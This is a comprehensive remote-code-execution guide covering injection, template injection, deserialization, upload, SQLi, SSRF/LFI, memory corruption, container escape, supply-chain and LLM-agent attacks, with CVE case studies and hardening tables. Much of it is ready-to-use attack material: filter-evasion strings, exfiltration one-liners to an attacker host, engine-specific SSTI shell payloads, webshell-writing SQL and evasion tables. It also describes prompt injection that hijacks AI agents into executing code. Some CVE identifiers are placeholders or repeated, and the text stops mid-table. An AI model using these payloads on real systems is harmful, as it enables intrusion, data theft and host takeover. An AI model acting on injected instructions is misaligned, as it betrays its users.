Comprehensive RCE Guide#
A practitioner’s reference for Remote Code Execution — vulnerability classes, exploitation primitives, language-specific chains, real-world CVEs, and detection/prevention. Compiled from 63 research sources.
Table of Contents#
- Fundamentals
- RCE Classes & Taxonomy
- OS Command Injection
- Code Injection & Expression Injection
- Server-Side Template Injection (SSTI)
- File Upload to RCE
- Insecure Deserialization
- SQL Injection to RCE
- SSRF & LFI Chains to RCE
- Memory Corruption Primer
- Kernel, Driver & Container Escape
- Supply Chain RCE
- AI / LLM Agent RCE
- Real-World Exploit Chains
- Tools & Automation
- Detection & Prevention
- Payload Quick Reference
1. Fundamentals#
Remote Code Execution is the ability to run attacker-chosen instructions on a remote system without physical or local shell access. It sits at the top of the impact pyramid — almost every bug class, if chained far enough, ends at RCE.
Three ingredients of any RCE:
| Ingredient | Meaning |
|---|---|
| Reachable sink | A primitive that turns data into execution (eval, exec, template render, deserialize, unsafe load, process spawn, unsafe file write into an executable location). |
| Controlled input | A source the attacker can influence — HTTP body, header, query, uploaded file, workflow expression, database row, filename, deserialized object. |
| Taint path | Data flow from source to sink that is not sanitized, sandboxed, or structurally broken. |
Impact spectrum: code execution as app user → local privilege escalation → lateral movement → credential theft → persistence → full infrastructure compromise.
Pre-auth vs post-auth. CVSS 9.8–10.0 bugs are almost always pre-auth unauthenticated RCE (e.g., React2Shell CVE-2025-55182, n8n CVE-2026-21858, Marimo CVE-2026-39987, Langflow CVE-2025-3248, Telnetd CVE-2026-32746). Post-auth RCE (Group-Office CVE-2026-34838, Airbyte SSTI) usually caps at 8–9.x unless the auth surface is trivially bypassable.
2025–2026 headline observation. Nearly every critical CVE this cycle was pre-auth, network-reachable, and weaponized within 24–72 hours of disclosure. The attacker economics are: if a patch is published, assume exploitation is already in progress on internet-facing instances.
2. RCE Classes & Taxonomy#
| Class | Root Primitive | Typical Sink | Examples |
|---|---|---|---|
| OS command injection | Unsanitized input in shell string | system, exec, Runtime.exec, child_process, popen | Tiandy Easy7 (CVE-2026-4585), Cisco IMC, Bing Images |
| Code injection | User string passed to language evaluator | eval, exec, Python AST, new Function | Langflow (CVE-2025-3248), n8n expression injection |
| Template injection (SSTI) | Untrusted template body/parameter | Jinja, Twig, Freemarker, Velocity, ERB, Go templates | OpenMetadata FreeMarker, Airbyte |
| Deserialization | Attacker-controlled serialized blob | pickle.load, Java ObjectInputStream, unserialize, YAML.load | Wazuh (CVE-2026-25769), NVIDIA APEX, Group-Office, React2Shell |
| File upload RCE | Writable path inside executable scope | Web shell dropped in /www, uploader → LFI | WWBN AVideo (CVE-2026-33717), Precurio, Explorance Blue, Sneeit, WP Custom CSS/JS/PHP |
| SQLi → RCE | INTO OUTFILE, stored proc, UDF, MSSQL xp_cmdshell | DB-hosted web shell, SQL Server shell | Ivanti EPMM chain, legacy LAMP |
| SSRF/LFI → RCE | Write-to-fetch via gopher/file include | Redis key → cron, log poisoning | When Audits Fail Part 2, WP Ghost LFI |
| Memory corruption | Buffer/heap/use-after-free | Return address / IP hijack | Telnetd CVE-2026-32746, Adobe Reader, 7-Zip, OpenSSL CVE-2025-15467 |
| Kernel / driver | Syscall or IOCTL vulnerability | ring-0 execution, container escape | runc CVE-2025-31133/52565/52881 |
| Prototype pollution → RCE | JS object mutation gadget chain | template/child_process gadget | Node.js Complete Defense article |
| Supply chain | Malicious package or compromised upstream | postinstall script, typosquat | npm/PyPI incidents in 2025 dataset |
| AI / LLM prompt → RCE | Agent tool call, code-exec tool | Jupyter kernel, eval tool, shell tool | Prompt injection to RCE in AI agents |
3. OS Command Injection#
Command injection occurs whenever user input is concatenated into a shell command or into an argument vector interpreted by a shell.
Classic sinks#
PHP: system(), exec(), shell_exec(), passthru(), popen(), proc_open(), backticks
Python: os.system(), os.popen(), subprocess.* with shell=True, commands.getoutput()
Node.js: child_process.exec(), execSync(), spawn(..., {shell:true})
Java: Runtime.getRuntime().exec(String), ProcessBuilder(String).start()
Ruby: system(), %x{}, Kernel.exec(), `...`, Open3.* with shell
Go: exec.Command("sh", "-c", input)
C#: Process.Start(ProcessStartInfo{ FileName="cmd.exe", Arguments=input })
Perl: system(), qx//, open("| cmd")
The anti-pattern is always “shell=True and attacker controls any substring.” A non-shell argv call (subprocess.run(["ping", user])) is safe from shell metacharacters but can still be abused if the binary itself interprets options (---argument injection, -o ProxyCommand=... in ssh/scp/rsync).
Metacharacter classes#
| Category | Chars | Notes |
|---|---|---|
| Command separators | ; & && ` | |
| Subshells | ` ` $(...) | Inline command substitution |
| Redirection | > >> < 2>&1 | File primitives |
| Globbing | * ? [] | Argument expansion (can be abused for command smuggling, e.g., /???/??t → /bin/cat) |
| Quoting | ' " \ | Break out of existing quoting |
| Newlines | %0a %0d | Often missed by blacklists |
Bypass techniques#
Blacklist evasion:
ls$IFS$9/
ls${IFS}/
w'h'o'a'm'i
w"h"o"a"m"i
wh\oami
$(rev<<<imaohw)
$(echo -e "\x77\x68\x6f\x61\x6d\x69")
{ls,-la,/}
echo d2hvYW1p|base64 -d|sh
Space restriction bypasses: ${IFS}, $IFS$9, <tab>, {cmd,arg}, redirection <>, and brace expansion.
Blind command injection exfil:
; curl http://attacker/$(whoami)
; nslookup $(id|base64).attacker.tld
; ping -c1 $(hostname).attacker.tld
& sleep 10 & # timing oracle
| dig $(uname -a | md5sum | cut -c1-16).attacker.tld
Windows variants:
cmd: ^ & | && || %WINDIR% %CD%
pwsh: ; ` $() iex (iwr http://attacker/a.ps1)
Real-world examples from the corpus#
- Tiandy Easy7 (CVE-2026-4585) — OS command injection in video surveillance management web console; unauthenticated root shell.
- Microsoft Bing Images — OS command injection in a backend image-processing pipeline, surfaced by parameter fuzzing on an internal service.
- Cisco Secure Email Gateway (ESA) zero-day — command-injection exploitation by a China-linked APT.
- GHSL-2025-035/037 — GitHub Security Lab findings of command injection leading to RCE in a build tool, reached via a spec file that was later rendered through
sh -c. - Ivanti EPMM chain — auth bypass composed with command injection into an administrative endpoint; in-the-wild exploitation.
- Cisco IMC (CVE-2026-20094) — command injection via read-only authenticated user reaching root.
Argument injection (non-shell)#
If the sink is subprocess.run(["curl", user]), shell metacharacters are harmless — but the binary still parses arguments:
curl: user=-o/tmp/pwn http://attacker/shell.sh → writes attacker file
git: user=--upload-pack=sh ./evil → runs ./evil
ssh/scp: user=-oProxyCommand=id → pre-auth command execution
find: user=-exec id {} ; → arbitrary exec
tar: user=--checkpoint-action=exec=sh → checkpoint RCE
zip: user=--unzip-command=sh
rsync: user=-e "sh -c id"
Always prepend -- after parsing user input and strictly validate leading character.
4. Code Injection & Expression Injection#
Where command injection rides a shell, code injection rides a language interpreter.
Python#
Dangerous sinks: eval, exec, compile, pickle.load[s], yaml.load (unsafe loader), __import__, marshal.loads, ast.literal_eval is safe, ast.parse followed by compile+exec is not.
Langflow CVE-2025-3248. A canonical modern example. The /api/v1/validate/code endpoint AST-processed user code. Decorators and default argument expressions are evaluated at definition time, so a payload like:
@exec("import os; os.system('id > /tmp/pwned')")
def foo(): pass
def foo(cmd=exec("__import__('subprocess').check_output(['env'])")):
pass
executes during AST validation — no invocation of foo required. The API responds 200 OK while the attacker has already gained execution. Patched in Langflow ≥ 1.3.0. Multiple follow-ons tracked: CVE-2025-34291 (account takeover variant), CVE-2026-33017 (exploitation within 20 hours of disclosure), and active CISA alerting.
Marimo CVE-2026-39987. Pre-auth RCE in a Python notebook server — untrusted notebook content was executed on load without authentication. “Root in one request.”
JavaScript / Node.js#
Dangerous sinks: eval, Function, vm.runIn*Context, require(user), prototype pollution gadgets, child_process.exec(string), template literal tag misuse.
n8n expression injection (CVE-2025-68613, CVE-2026-21858, CVE-2025-68613). The n8n workflow engine evaluates {{ $json.foo }} style expressions inside a sandboxed VM. Sandbox escape primitives — this.constructor.constructor("return process")().mainModule.require("child_process").execSync(...) — let a low-privilege workflow editor, and in CVE-2026-21858 an unauthenticated webhook caller, reach full OS execution. 100k+ exposed n8n instances were catalogued at disclosure time. CVE-2026-21858 is CVSS 10.0 and triggered within hours.
React2Shell (CVE-2025-55182). RCE in React Server Components’ Flight protocol. RSC deserializes Flight payloads server-side; missing validation allows injection of component descriptors that resolve into child_process.spawnSync. A POST to any endpoint that handles RSC payloads reaches code execution under the Node process. Affects React 19.0.0–19.1.0, Next.js 15.0.0–16.0.3 (App Router default), Remix 2.15.0–2.17.2 (RSC experimental). Exploited in the wild within hours, added to CISA KEV, used to deploy Mirai variants. Follow-on CVE-2025-6640x covers related RSC flaws.
Java#
Sinks: ScriptEngineManager (Nashorn/JS), Groovy Eval, SpEL parseExpression, JEXL, OGNL (Struts2 S2-* lineage), MVEL.
SpEL pattern: T(java.lang.Runtime).getRuntime().exec('...')
OGNL pattern (Struts2): %{#a=@java.lang.Runtime@getRuntime().exec('id')}
Ruby#
Sinks: eval, instance_eval, class_eval, send, public_send, Kernel#open('|cmd'), YAML.load, Marshal.load, ERB.
Go#
Go has no runtime eval; code injection typically manifests via text/template/html/template (see SSTI), plugin.Open, or exec.Command("sh","-c",...).
5. Server-Side Template Injection (SSTI)#
SSTI happens when user input is parsed as a template by a template engine, giving the attacker the engine’s expression grammar. Modern engines expose reflection primitives that pivot to OS command execution.
Detection polyglot#
A multi-engine template injection detection payload that works across different template engines. Testing for responses like 49, 7777777, or evaluation errors can indicate template injection vulnerabilities.
Engine-by-engine RCE primitives#
Jinja2 (Python) — Flask, Airbyte, many LLM tools:
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ url_for.__globals__.os.popen('id').read() }}
Filter bypasses: |attr(), request.args, dict(__class__=x)|attr(...), \u0x2e unicode, hex-encoded attribute names.
Twig (PHP) — Symfony, Drupal, Shopware:
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
{{ app.request.server.get('DOCUMENT_ROOT') }}
{{ ['id']|filter('system') }}
Freemarker (Java) — Confluence historically, OpenMetadata recently:
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
<#assign classloader=object?api.class.protectionDomain.classLoader>
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["id"]).start()}
OpenMetadata SSTI (GHSA-5f29-2333-h9c7). Email templates stored in the DB are rendered with new Configuration(Configuration.VERSION_2_3_31) — no TemplateClassResolver.SAFER_RESOLVER, no setAPIBuiltinEnabled(false). An admin can PATCH /api/v1/docStore/{id} with <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("whoami") }, and any subsequent email trigger executes the payload. The essential defense is to always configure Freemarker with SAFER_RESOLVER and disable the ?api builtin.
Velocity (Java):
#set($e="exp")#set($rt=$e.getClass().forName("java.lang.Runtime"))$rt.getMethod("exec",$e.getClass()).invoke($rt.getMethod("getRuntime").invoke(null),"id")
Thymeleaf (Java) — SpringBoot default, RCE via SpEL fragment name injection:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
ERB (Ruby):
<%= `id` %>
<%= system("id") %>
<%= IO.popen("id").read %>
Smarty (PHP):
{php}system("id");{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['c']);?>",self::clearConfig())}
Handlebars (Node):
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}{{this.push "return require('child_process').execSync('id');"}}{{this.pop}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Go text/template / html/template. Go’s templates are “safe by default” — expressions cannot resolve arbitrary method chains. But two anti-patterns break that guarantee:
- Passing a user-controlled string as the template body:
template.New("x").Parse(userInput). The attacker can then call any function registered viaFuncMap— and a surprising number of projects register helpers that wrapos/exec,io/ioutil, or reflection utilities. - Registering unsafe helpers:
FuncMap{"exec": exec.Command, "read": os.ReadFile}.
Oligo-reported “shadow SSTI” — no CVE, vulnerable by design — is common in Echo/Gin apps. Detection requires runtime behavior monitoring rather than WAF signatures.
Airbyte SSTI (GHSA-4j3c-fgvx-xgqq). Connection-builder Docker image renders user-provided connector configuration through an unguarded template engine. Authenticated users creating custom connectors can reach RCE and exfiltrate other tenants’ credentials.
SSTI hardening#
| Engine | Control |
|---|---|
| Jinja2 | SandboxedEnvironment; restrict attributes; never render user template body |
| Freemarker | setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER), setAPIBuiltinEnabled(false) |
| Velocity | SecureUberspector in velocity.properties |
| Twig | Use createTemplate only with sanitized input; disable _self access |
| Thymeleaf | Avoid #{...} fragments on user input |
| Go | Never Parse user-supplied bodies; audit every FuncMap entry |
| Handlebars | Disable lookup/prototype access helpers |
6. File Upload to RCE#
Arbitrary file write into a location the server will execute is one of the oldest, most reliable RCE primitives. The 2025–2026 corpus is dense with file-upload RCEs in WordPress plugins, CRMs, e-learning platforms, and surveillance dashboards.
The canonical chain#
Unrestricted upload → webshell in document root → /uploads/shell.php?c=id
→ LFI consumer if doc root is not writable
→ Overwrite legitimate script/template/config
→ Pickle/Java class placed where another process will load
Filter classes and bypass table#
| Filter | Bypass |
|---|---|
Extension blacklist (.php) | .phtml, .phar, .pht, .php5, .php7, .phps, .inc, .hta |
| Extension whitelist (image only) | Apache .php.jpg with AddHandler; shell.jpg/.php on nginx; .htaccess to add handler |
| Null byte | shell.php%00.jpg (older PHP/CGI) |
| Double extension | shell.jpg.php |
| Case | .PhP, .PHP7 |
| Magic bytes | Prepend GIF89a/\xFF\xD8\xFF to PHP file |
| Content-Type | Rewrite header image/jpeg — almost never a real validation |
| MIME via libmagic | Use polyglot (GIF+PHP) |
| Image parser validation | Polyglot JPEG containing EXIF comment with payload |
| ClamAV/yara | Base64 payload wrapped in <?php eval(base64_decode(...)) ?> |
| SVG upload | SVG is XML → <script> → stored XSS; <foreignObject> → XXE; sometimes renders server-side in LibreOffice → RCE |
| Archive upload | Zip-slip → write outside upload dir; tar symlink → arbitrary overwrite |
Real-world entries from the corpus#
- WWBN AVideo CVE-2026-33717 — authenticated persistent PHP file upload.
- Explorance Blue — unrestricted file upload in survey platform reaches RCE on IIS/ASP.NET.
- Precurio Intranet Portal 4.4 — CSRF chained with file upload for RCE; attacker forces logged-in admin to submit the upload form.
- Ninja Forms WordPress plugin — 50k+ sites affected by critical RCE via form upload handling.
- Sneeit WordPress plugin — exploited in the wild alongside ICTBroadcast and Frost bot deployment.
- WP Custom CSS/JS/PHP (CVE-2025-39601) — authenticated file write RCE; the plugin literally lets admins store PHP, and a poor authz check made it writable by lower roles.
- WordPress plugin CVE-2025-7384 — unauthenticated RCE via upload.
- Unrestricted File Upload → SSRF and RCE corpus article — multi-stage: upload SVG/XML → server-side rendering → SSRF → metadata credential → RCE.
Hardening#
- Randomize filenames, strip all extensions, store outside webroot.
- Serve via a dedicated static handler that never executes (nginx
locationwithdefault_type application/octet-stream). - Validate by content (magic bytes + re-encode for images, AV scan, strict MIME set).
- Disallow
.htaccess,web.config,.user.iniuploads everywhere. - Unzip into a tempdir with a path-traversal-safe routine (no
.., no absolute, no symlinks). - Enforce size and per-user quotas.
- Log full original filename + hash for IR.
7. Insecure Deserialization#
Deserialization turns bytes into objects. If the format allows arbitrary types and those types have side effects during construction or via magic methods, the attacker controls the callgraph.
Language-specific gadgets#
Java — ObjectInputStream.readObject(). Libraries with gadget chains: Commons-Collections, Commons-BeanUtils, ROME, Hibernate, Spring, Groovy, Jython, C3P0, JBoss, XStream, Jackson (with polymorphic types enabled), SnakeYAML (default loader), XMLDecoder. ysoserial ships 30+ chains.
- Wazuh CVE-2026-25769 — insecure deserialization in the Wazuh management API reaches code execution as the wazuh user.
- NVIDIA APEX CVE-2025-33244 — Java deserialization RCE in an inference server component; unauthenticated attack surface in default deployment.
Python — pickle.loads. Any __reduce__ returns (callable, args) and is executed on load:
class P:
def __reduce__(self):
return (os.system, ("id > /tmp/p",))
pickle.dumps(P())
Also: yaml.load (unsafe loader), shelve, dill, jsonpickle, Pandas read_pickle, scikit-learn model files, PyTorch .pt files (use weights_only=True in 2.6+).
- RediShell CVE-2025-49844 — Redis RCE via a Lua-to-C boundary flaw exercised by ingesting attacker-chosen data; large installed base at risk.
PHP — unserialize. Gadget chains via magic methods __wakeup, __destruct, __toString. Popular sources: Laravel, Symfony, Monolog, Guzzle, phpggc repository.
Ruby — Marshal.load, YAML.load. Gadget chains through Rails deserialization (CVE-2013-0156 lineage).
.NET — BinaryFormatter, NetDataContractSerializer, SoapFormatter, LosFormatter, ObjectStateFormatter, XmlSerializer with Type, JSON.NET with TypeNameHandling != None. ysoserial.net has chains for TypeConfuseDelegate, TextFormattingRunProperties, WindowsIdentity, etc. ViewState RCE pattern is still alive.
Node.js — node-serialize, also funcster, serialize-javascript misuse, React2Shell RSC Flight protocol (already described).
Group-Office CVE-2026-34838#
An authenticated attacker injects a crafted FileCookieJar serialized object into a setting string. When AbstractSettingsCollection loads settings, unserialize triggers arbitrary file write — which is then used to drop a PHP file into the web root. Patch at 6.8.156 / 25.0.90 / 26.0.12.
Defenses#
- Never accept serialized data from untrusted sources. Use JSON/Protobuf with explicit schemas.
- If you must deserialize, use an allowlist (Java:
ObjectInputFilter.Config.setSerialFilter; .NET: avoidBinaryFormatter— it is deprecated). - For PyTorch/ML models, require a signed manifest and load with
weights_only=True. - For Redis/caches, never
pickle.loadscache contents.
8. SQL Injection to RCE#
When SQLi is reachable, the step from data to code depends on the DB:
MySQL / MariaDB:
' UNION SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/s.php'--
Requires: FILE privilege, writable @@secure_file_priv, known webroot. Also LOAD_FILE for arbitrary file read.
UDF injection via lib_mysqludf_sys grants sys_exec.
PostgreSQL:
COPY (SELECT '<?php system($_GET[c]);?>') TO '/var/www/html/s.php';
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'c' STRICT;
SELECT system('id');
Postgres ≥ 9.3 also supports COPY ... PROGRAM 'sh -c "id"' with superuser.
MSSQL:
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Also sp_OACreate (OLE Automation), CLR assembly loading.
Oracle: Java stored procedures, DBMS_SCHEDULER.RUN_JOB, DBMS_JAVA.
SQLite: ATTACH DATABASE '/var/www/html/s.php' AS x; CREATE TABLE x.y(z); INSERT INTO x.y VALUES("<?php ...?>"); — write a dual-format file.
9. SSRF & LFI Chains to RCE#
SSRF and LFI rarely stop at read primitives.
SSRF → RCE#
| Path | Mechanism |
|---|---|
| Redis via gopher | SET dir /var/spool/cron; SET dbfilename root; SAVE writes a cron job |
| Memcached cache poisoning | Inject serialized PHP session → __wakeup gadget |
| Internal admin API | SSRF into unauthenticated internal /admin endpoint that has file upload |
| Cloud metadata | Steal instance role credentials → aws s3 cp shell s3:// → Lambda/ECS RCE |
| Internal Docker/K8s API | POST /containers/create with host mount → container escape to host |
| Elasticsearch/SOLR | _search?source={...} Groovy/JS scripting pre-auth |
“When Audits Fail Part 2” from the corpus walks a chain: Pre-auth SSRF → internal Jenkins/Solr → scripting engine → root shell.
LFI → RCE#
- Log poisoning — inject payload into
User-Agent/Referer, include/var/log/apache2/access.log. - Session file inclusion — store payload in session value, include
/tmp/sess_<id>. - proc/self/environ — historical CGI, include
/proc/self/environwith payload in UA. - PHP wrappers —
php://filter/convert.base64-encode/resource=for source disclosure;php://input+allow_url_include=Onfor direct execution;data://andexpect://;phar://deserialization (PHP ≤ 8.0 default). - Zip/phar — upload innocent-looking image containing a phar, then include it.
WP Ghost LFI → RCE (CVE) — 200k+ WordPress sites; LFI in the plugin reachable without auth, chained with log poisoning for RCE.
10. Memory Corruption Primer#
Memory-safety bugs remain the top source of pre-auth server RCE in native components.
| Class | Description | Mitigation |
|---|---|---|
| Stack buffer overflow | Write beyond stack buffer, overwrite return address | Stack canaries, ASLR, NX, fortify source |
| Heap overflow | Corrupt heap metadata / adjacent chunk | Hardened allocator, heap quarantine |
| Use-after-free | Dangling pointer dereferenced after free | MarkUs/MTE, reference counting, safer languages |
| Type confusion | Wrong-type method dispatch | Runtime type checks, CFI |
| Integer overflow | Wrap-around → undersized buffer | __builtin_overflow, wide arithmetic |
| Uninitialized memory | Leaks or control via attacker-shaped stack | -Wuninitialized, scrubbing |
| Format string | %n / %s attacker-controlled format | Never pass user data as format |
| Double free | Corrupt allocator state | Zero-on-free, safe linked lists |
Corpus examples#
- Telnetd CVE-2026-32746 — unauthenticated pre-auth root RCE in NetKit/GNU telnetd via option-negotiation memory corruption. Unpatched at disclosure.
- 7-Zip — RCE via crafted archive, active exploitation reported.
- Adobe Reader zero-day — exploited via malicious PDFs since December 2025.
- OpenSSL CVE-2025-15467 — potentially critical RCE disclosed by JFrog, affects certificate-handling code path.
- Networking devices zero-day — 70,000+ hosts exposed on the open internet.
For exploitation primitives: ROP/JOP chains, one_gadget in libc, house of * heap shaping, tcache poisoning in recent glibc, Windows heap segment heap, SMEP/SMAP/KPTI bypasses. Modern mitigations (CFI, CET/IBT, shadow stacks, MTE, scudo/PartitionAlloc) have made reliable exploitation expensive but not impossible — the 2025 zero-day review articles in the dataset consistently show memory corruption accounting for most ITW pre-auth RCEs in closed-source appliances.
11. Kernel, Driver & Container Escape#
runc 2025 disclosure (CVE-2025-31133, CVE-2025-52565, CVE-2025-52881)#
Three related vulnerabilities, all flavors of “bypass runc’s /proc write restrictions.”
- CVE-2025-31133 —
/dev/nullcan be replaced with a symlink to a procfs file (/proc/sys/kernel/core_pattern,/proc/sysrq-trigger). runc bind-mounts the symlink target read-write, enabling container breakout. - CVE-2025-52565 — same primitive via
/dev/consoleand/dev/pts/$nmount race. - CVE-2025-52881 — bypasses LSM checks by routing
/proc/self/attr/<label>to a real procfs file, then redirects writes to malicious targets.
Writing to /proc/sys/kernel/core_pattern is the classic breakout: when any process on the host crashes, the kernel runs the configured command as root. Writing |/tmp/evil %P turns the next crash into host code execution. Writing to /proc/sysrq-trigger can crash the host.
Fixed in runc ≥ 1.4.0-rc.3, 1.3.3, 1.2.8. Mitigations: user namespaces with host root not mapped, run as non-root inside container, AppArmor/SELinux, do not build untrusted Dockerfiles on shared infrastructure.
Other container/runtime corpus notes#
- “Dangerous runC flaws could allow hackers to escape Docker containers” — BleepingComputer summary of the same set.
- “New runC Vulnerabilities Expose Docker and Kubernetes to Container Escape Attack” — corroborating writeup.
Linux kernel patterns (general)#
| Bug type | Example primitive |
|---|---|
| UAF in netfilter | Write gadget to modprobe_path, trigger __request_module |
| BPF verifier bug | Arbitrary R/W in kernel memory |
| io_uring race | Write to kernel text (with no W^X) |
| eBPF JIT spray | Old primitive, largely mitigated |
| slab overflow | Cross-cache with page-level grooming |
Canonical post-exploitation: write /proc/sys/kernel/modprobe_path to /tmp/pwn.sh, trigger socket(AF_INET, SOCK_PACKET, 0) (or any unknown protocol) to invoke modprobe as root.
12. Supply Chain RCE#
The 2025 lessons-learned articles in the corpus repeatedly flag supply chain as the fastest-growing RCE vector.
Package ecosystems.
- npm/PyPI/RubyGems/Cargo typosquats — postinstall/
setup.pyscripts execute on install. - Repo takeover — expired maintainer emails, stolen tokens.
- Dependency confusion — internal package name published publicly.
- Malicious version bump — legitimate package compromised and a new version with backdoor published (xz lineage).
Build pipelines.
- GitHub Actions with
pull_request_target— attacker PR runs with repo secrets. - Self-hosted runners — untrusted PRs get code exec on a persistent runner.
- Docker base image compromise — upstream
FROMdrags in trojan.
Hardening:
- Pin by hash/lockfile, no floating versions in production.
- Use Sigstore/cosign to verify signed artifacts.
- Run
npm audit signatures,pip-audit,osv-scannerin CI. - Segment CI/CD credentials from runtime secrets.
- Use ephemeral runners for public-repo PR builds.
13. AI / LLM Agent RCE#
Agentic AI stacks create a new class of RCE — prompt injection that ends in tool-call execution.
From “Prompt injection to RCE in AI agents”:
- The agent has a code execution tool (Python REPL, shell, Jupyter kernel,
code_interpreter). - An untrusted data source (email, scraped page, PDF, MCP server response) contains instructions crafted to hijack the agent.
- The LLM treats instructions as legitimate and calls the code tool with attacker-chosen code.
- Code runs inside the agent’s sandbox — often a container with network egress, credentials, and file access.
Langflow (several CVEs in the corpus). The Langflow platform hosts LLM workflows and exposes code-validation/execution endpoints. CVE-2025-3248, CVE-2025-34291, CVE-2026-33017 are all Langflow RCEs with rapid ITW exploitation.
vLLM CVE-2026-22XXX. Server takeover via a malicious video URL — the video decoder path reaches code execution.
n8n (also listed under code injection) — similar position on the agent boundary.
MCP / tool boundaries. An MCP server that returns tool responses can inject into the model context. If the model downstream has code-exec tools, the attack surface becomes “any untrusted content consumed by any agent anywhere in the chain.”
Hardening:
- Never grant
code_interpreteror shell tools to an agent that also ingests untrusted data. - Enforce egress allowlists on interpreters.
- Treat LLM outputs that will be passed to
exec/shell as untrusted input and re-validate. - Use per-session ephemeral sandboxes with no persistent credentials.
- Human-in-the-loop for any tool that performs a write action.
14. Real-World Exploit Chains#
React2Shell (CVE-2025-55182) — Node.js RCE against production Next.js#
Reconstructed from the Hunt.io investigation in the corpus (12,440 log lines, 1,084 spawnSync attempts, 4 C2 servers):
- Attacker identifies a Next.js 15.x endpoint processing RSC data.
- POSTs a crafted Flight payload; RSC deserializes →
child_process.spawnSyncinvoked with attacker arguments. - Initial confirmation: PoC emits signature strings (
MEOWWWWWWWWW,wow i guess im finna bridge now,12334). - Stage 2 — download Mirai binary via
wget(fallbackcurl),chmod 777, execute. In this incident it failed because the production container had no shell, no curl, no sudo, and imposed process time limits. - Stage 3–5 — persistence scripts, obfuscated base64 droppers, secondary C2.
- Stage 6 — local file manipulation for lateral pivots.
Defensive takeaways: distroless/minimal containers defeated the post-exploitation even after RCE. Egress allowlist and runtime process-time limits matter.
Langflow CVE-2025-3248 chain#
- Discovery via Shodan / internet-wide scanning for
/api/v1/validate/code. - POST a decorator payload
@exec(...). - Server AST-processes the code, executing during parse.
- Drop a web shell or add a cron job; pivot to cloud credentials in
~/.aws/. - CISA added to KEV within hours; ThreatLabz observed exploitation waves.
n8n CVE-2026-21858 (Ni8mare)#
- Unauthenticated webhook reaches an expression-evaluation path.
- Sandbox escape via constructor chain grabs Node
processobject. require('child_process').execSyncunder n8n process.- Exfiltration of
.n8ncredentials store — API keys for every integrated SaaS. - Observed mass exploitation within hours. CVSS 10.0.
Historical reference chains (not in the 2025 corpus but part of any RCE practitioner’s baseline)#
- Log4Shell (CVE-2021-44228).
${jndi:ldap://attacker/x}in any logged string → LDAP server returns a Java class → ObjectFactory instantiates attacker code. Still the canonical “untrusted string interpolation” bug. - Spring4Shell (CVE-2022-22965). Spring
DataBinderallowed settingclass.module.classLoader.resources.context.parent.pipeline.first.*properties on a Tomcat JSP access logger, writing an attacker JSP into the webroot. - ProxyShell (CVE-2021-34473 + 34523 + 31207). Exchange auto-discover path confusion + elevation + arbitrary mailbox write of
.aspxwebshell. - Shellshock (CVE-2014-6271).
env x='() { :;}; cmd' bash -c :— function export parser ran trailing commands.
CVE-2026-20131 — Cisco FMC RCE (ThreatLabz)#
Authenticated command injection in Firepower Management Center; reached by low-privilege users. Root takeaway: every admin web field on a security appliance is an RCE candidate.
AWS RES CVE-2026-5707#
Root RCE in AWS Research and Engineering Studio via a crafted session name — string reached a shell interpolation sink in a helper script. Classic “one sanitization miss on a high-trust management plane.”
WSUS CVE-2025-59287#
Unauthenticated deserialization in Windows Server Update Services reached RCE. Broad impact because WSUS is exposed in many enterprise perimeters.
CVE-2025-34291 / CVE-2026-33017 — Langflow exploitation#
Compromised AI pipelines within 20 hours of disclosure. Pattern-level lesson: AI platforms consistently have trust boundaries between “user workflow code” and “server execution” that are under-audited.
15. Tools & Automation#
Discovery & scanning:
| Tool | Use |
|---|---|
nuclei | Templated RCE checks (ProjectDiscovery KEV templates) |
httpx / katana / gau | Surface enumeration |
ffuf / feroxbuster | Parameter and directory brute force |
Burp Suite + Active Scan++ | Manual + semi-automated testing |
sqlmap | SQLi → file write / OS shell (--os-shell, --os-pwn) |
commix | Command injection exploitation |
tplmap | SSTI detection and exploitation |
ysoserial / ysoserial.net | Java / .NET deserialization gadget generation |
phpggc | PHP unserialize gadget chains |
marshalsec | Java JSON/YAML gadget chains |
Post-exploitation scaffolding:
| Tool | Use |
|---|---|
msfvenom | Payload generation |
sliver / mythic / havoc | C2 frameworks (defender-aware — detection content exists) |
chisel / ligolo-ng | Pivoting |
pwncat-cs | Post-exploit TTY upgrade + automation |
LinPEAS / WinPEAS / linux-exploit-suggester | Local enumeration |
Analysis and triage:
| Tool | Use |
|---|---|
CodeQL | Taint queries for command/code injection/deserialization sinks |
Semgrep | Fast pattern rules (eval, exec, unserialize, FreeMarker without safer resolver) |
Joern | AST + dataflow for native code |
Ghidra / IDA / Binary Ninja | Binary analysis of appliances |
rr + gdb | Record and replay for memory-corruption root cause |
Hunting datasets:
- CISA KEV catalog (weekly — every critical CVE in this guide made it within days).
- ProjectDiscovery nuclei-templates
http/cves/. - GHSA advisories RSS (GitHub).
- Shodan / Censys for internet-facing software version fingerprinting.
16. Detection & Prevention#
Secure coding quick checklist#
| Sink | Safe pattern |
|---|---|
| Shell exec | subprocess.run([bin, arg], shell=False) with validated arg |
| SQL | Parameterized queries or ORM; never string-build |
| File upload | Allowlist + content re-encode + store outside webroot + randomized name |
